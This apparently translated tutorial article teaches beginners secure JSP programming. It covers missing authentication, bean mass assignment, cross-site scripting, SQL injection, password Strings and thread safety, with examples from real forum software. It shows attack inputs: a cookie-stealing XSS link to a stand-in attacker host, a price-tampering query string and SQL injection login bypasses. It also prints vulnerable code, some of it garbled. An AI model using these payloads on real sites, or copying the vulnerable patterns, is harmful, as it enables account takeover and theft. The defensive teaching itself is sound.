Java Server Page (JSP) is becoming increasingly popular as a technology for creating dynamic web pages. JSP, ASP, and PHP have different working mechanisms. Generally speaking, JSP pages are compiled rather than interpreted when executed. The first call to a JSP file is actually a process of compiling it into a Servlet. When the browser requests this JSP file from the server, the server will check whether the JSP file has changed since the last compilation. If there is no change, the Servlet will be executed directly without recompiling. In this way, the efficiency will be significantly improved. .
Today I will look at the security of JSP from the perspective of script programming with you. Security risks such as source code exposure are beyond the scope of this article. The main purpose of writing this article is to remind friends who are new to JSP programming to cultivate the awareness of safe programming from the beginning, not to make mistakes that should not be made, and to avoid avoidable losses. In addition, I am also a beginner. If you have any mistakes or other opinions, please post and let me know.
1. Loose authentication - low-level mistakes
In the revised version of Yiyang Forum v1.12,
user_manager.jsp is a user-managed page. The author knows its sensitivity and adds a lock:
if ((session.getValue( "UserName")==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("System Administrator")))
{
response.sendRedirect("err.jsp?id=14");
return;
}
If you want to view and modify a user's information, you must use the modifyuser_manager.jsp file. Submitted by administrator
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
It is to view and modify the information of the user with ID 51 (the administrator's default user ID is 51). However, such an important document lacks authentication. Ordinary users (including tourists) can directly submit the above request and have a clear view of it (the password is also stored and displayed in clear text). modifyuser_manage.jsp is also open. It is not until the malicious user completes the data update operation and redirects to user_manager.jsp that he will see the page that belatedly displays the error. Obviously, just locking a door is not enough. When programming, you must take the trouble to add identity authentication to every place where identity authentication should be added.
2. Keep the entrance of JavaBean.
The core of JSP component technology is the java component called bean. In the program, the logic control and database operations can be placed in the Javabeans component, and then called in the JSP file, which can increase the clarity of the program and the reusability of the program. Compared with traditional ASP or PHP pages, JSP pages are very simple because many dynamic page processing processes can be encapsulated into JavaBeans.
To change JavaBean properties, use the "<jsp:setProperty>" tag.
The following code is part of the source code of an imaginary electronic shopping system. This file is used to display the information in the user's shopping box, and checkout.jsp is used for checkout.
<jsp:useBean id="myBasket" class="BasketBean">
<jsp:setProperty name="myBasket" property="*"/>
<jsp:useBean>
<html>
<head><title>Your Basket</title></head>
<body>
<p>
You have added the item
<jsp::getProperty name="myBasket" property="newItem"/>
to your basket.
<br/>
Your total is $
<jsp::getProperty name="myBasket" property="balance"/>
Proceed to <a href="checkout.jsp">checkout</a>
Did you notice property="*"? This indicates that the values of all variables entered by the user in the visible JSP page, or submitted directly through the Query String, will be stored in the matching bean properties.
Typically, users submit requests like this:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
But what about unruly users? They may submit:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
In this way, the information of balance=0 is stored in the JavaBean. When they click "chekout" to check out, the fee is waived.
This is exactly the same security problem caused by global variables in PHP. It can be seen from this: "property="*"" must be used with caution!
3. The long-lasting cross-site scripting
Cross-site scripting (Cross Site Scripting) attack refers to manually inserting malicious JavaScript, VBScript, ActiveX, HTML, or Flash scripts into the HTML code of a remote WEB page to steal browsing of this page. privacy of users, change user settings, and destroy user data. Cross-site scripting attacks will not affect the operation of servers and WEB programs in most cases, but they pose a serious threat to client security.
Take the Acai Forum (beta-1) of Fangdong.com as the simplest example. When we submit
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>alert(document.cookie)</script>,
a dialog box containing our own cookie information will pop up. Submit
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.163.com'</script>
to redirect to NetEase .
Since the script does not perform any encoding or filtering of malicious code when returning the value of the "name" variable to the client, when the user accesses the data link embedding the malicious "name" variable, the script code will be executed on the user's browser, possibly causing Consequences such as user privacy leakage. For example, the following link:
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.hackersite.com/xxx.xxx?'+document .cookie</script>
xxx.xxx is used to collect the following parameters, and the parameter here specifies document.cookie, which is the cookie of the user who accesses this link. In the ASP world, many people have mastered the technique of stealing cookies. In JSP, reading cookies is not difficult. Of course, cross-site scripting is never limited to the function of stealing cookies. I believe everyone has a certain understanding of it, so I won’t go into details here.
All input and output of dynamic pages should be encoded to avoid cross-site scripting attacks to a large extent. Unfortunately, encoding all untrusted data is resource-intensive and can have a performance impact on the Web server. A common method is to filter input data. For example, the following code replaces dangerous characters:
<% String message = request.getParameter("message");
message = message.replace ('<','_');
message = message.replace ('>','_');
message = message.replace ('"','_');
message = message.replace (''','_');
message = message.replace ('%','_'); [Reposted from:51item.net]
message = message.replace (';','_');
message = message.replace ('(','_');
message = message.replace (')','_');
message = message.replace ('&','_');
message = message.replace ('+','_'); %>
A more positive way is to use regular expressions to only allow the input of specified characters:
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) return true;
else return false;
}
4. Always keep SQL injection in mind.
When teaching beginners, general programming books do not pay attention to letting them develop safe programming habits from the beginning. The famous "JSP Programming Thoughts and Practices" demonstrates to beginners how to write a login system with a database (the database is MySQL):
Statement stmt = conn.createStatement();
String checkUser = "select * from login where username = '" + userName + "' and userpassword = '" + userPassword + "'";
ResultSet rs = stmt.executeQuery(checkUser);
if(rs.next())
response.sendRedirect("SuccessLogin.jsp");
else
response.sendRedirect("FailureLogin.jsp");
This allows people who believe in the book to use such innately "holey" login codes for a long time. If there is a user named "jack" in the database, then there are at least the following ways to log in without knowing the password:
Username: jack
Password: ' or 'a'='a
Username: jack
Password: ' or 1=1/*
Username: jack' or 1=1/*
Password: (any)
lybbs (Lingyun Forum) ver 2.9.Server checks the data submitted for login in LogInOut.java like this:
if(s.equals("") ││ s1.equals(""))
throw new UserException("Username or password cannot be empty.");
if(s.indexOf("'") != -1 ││ s.indexOf(""") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf(" \") != -1)
throw new UserException("Username cannot include illegal characters such as ' " \ , etc.");
if(s1.indexOf("'") != -1 ││ s1.indexOf(""") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf(" \") != -1)
throw new UserException("The password cannot include illegal characters such as ' " \ *.");
if(s.startsWith(" ") ││ s1.startsWith(" "))
throw new UserException("Spaces cannot be used in username or password.");
But I don't know why he only filters asterisks on passwords and not usernames. In addition, it seems that forward slashes should also be included in the "blacklist". I still think it's simpler to use regular expressions to only allow characters within a specified range.
A word of caution here: Do not think that the inherent "security" of some database systems can effectively resist all attacks. Pinkeyes' article "PHP Injection Example" teaches a lesson to those who rely on "magic_quotes_gpc = On" in the PHP configuration file.
5. Hidden dangers brought by String objects
The Java platform has indeed made security programming more convenient. There are no pointers in Java, which means that Java programs can no longer address any memory location in the address space like C. Security issues are checked when the JSP file is compiled into a .class file. For example, attempts to access array elements that exceed the array size will be rejected, which largely avoids buffer overflow attacks. However, String objects will bring us some security risks. If the password is stored in a Java String object, it will remain in memory until it is garbage collected or the process terminates. Even after garbage collection, it will still exist in the free memory heap until the memory space is reused. The longer the password String resides in memory, the greater the risk of eavesdropping. Even worse, if the actual memory is reduced, the operating system will page this password String to the disk's swap space, thus being vulnerable to disk block eavesdropping attacks. To minimize (but not eliminate) the possibility of such a compromise, you should store the password in a char array and zero it after use (Strings are immutable and cannot be zeroed).
6. A preliminary study on thread safety
"What JAVA can do, JSP can do". Unlike scripting languages such as ASP and PHP, JSP is executed in a multi-threaded manner by default. Executing in a multi-threaded manner can greatly reduce the resource requirements on the system and improve the concurrency and response time of the system. Threads are independent, concurrent execution paths in the program. Each thread has its own stack, its own program counter and its own local variables. Although most operations in a multithreaded application can be performed in parallel, there are some operations, such as updating global flags or processing shared files, that cannot be performed in parallel. If the synchronization of threads is not done well, problems will also occur during large concurrent accesses without the "enthusiastic participation" of malicious users. The simplest solution is to add: <%@ page isThreadSafe="false" %> instruction to the relevant JSP file to make it execute in a single-threaded manner. At this time, all client requests are executed in a serial manner. This can severely degrade system performance. We can still let the JSP file execute in a multi-threaded manner and synchronize the threads by locking the function. A function plus the synchronized keyword acquires a lock. Look at the following example:
public class MyClass{
int a;
public Init() {//This method can be called by multiple threads at the same time a = 0;
}
public synchronized void Set() {//Two threads cannot call this method at the same time if(a>5) {
a= a-5;
}
}
}
But this will still have a certain impact on the performance of the system. A better solution is to use local variables instead of instance variables. Because instance variables are allocated in the heap and are shared by all threads belonging to the instance, they are not thread-safe, while local variables are allocated in the stack because each thread has its own stack space, so it is thread-safe. . For example, the code for adding friends in Lingyun Forum:
public void addFriend(int i, String s, String s1)
throws DBConnectException
{
try
{
if……
else
{
DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)");
dbconnect.setInt(1, i);
dbconnect.setString(2, s);
dbconnect.executeUpdate();
dbconnect.close();
dbconnect = null;
}
}
catch(Exception exception)
{
throw new DBConnectException(exception.getMessage());
}
}
The following is the call:
friendName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")) {
forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
errorInfo=forumFriend.getErrorInfo();
}
If an instance variable is used, then the instance variable is shared by all threads of the instance. It is possible that after user A passes a certain parameter, his thread turns to sleep state, and the parameter is inadvertently modified by user B, causing The phenomenon of friend mismatch.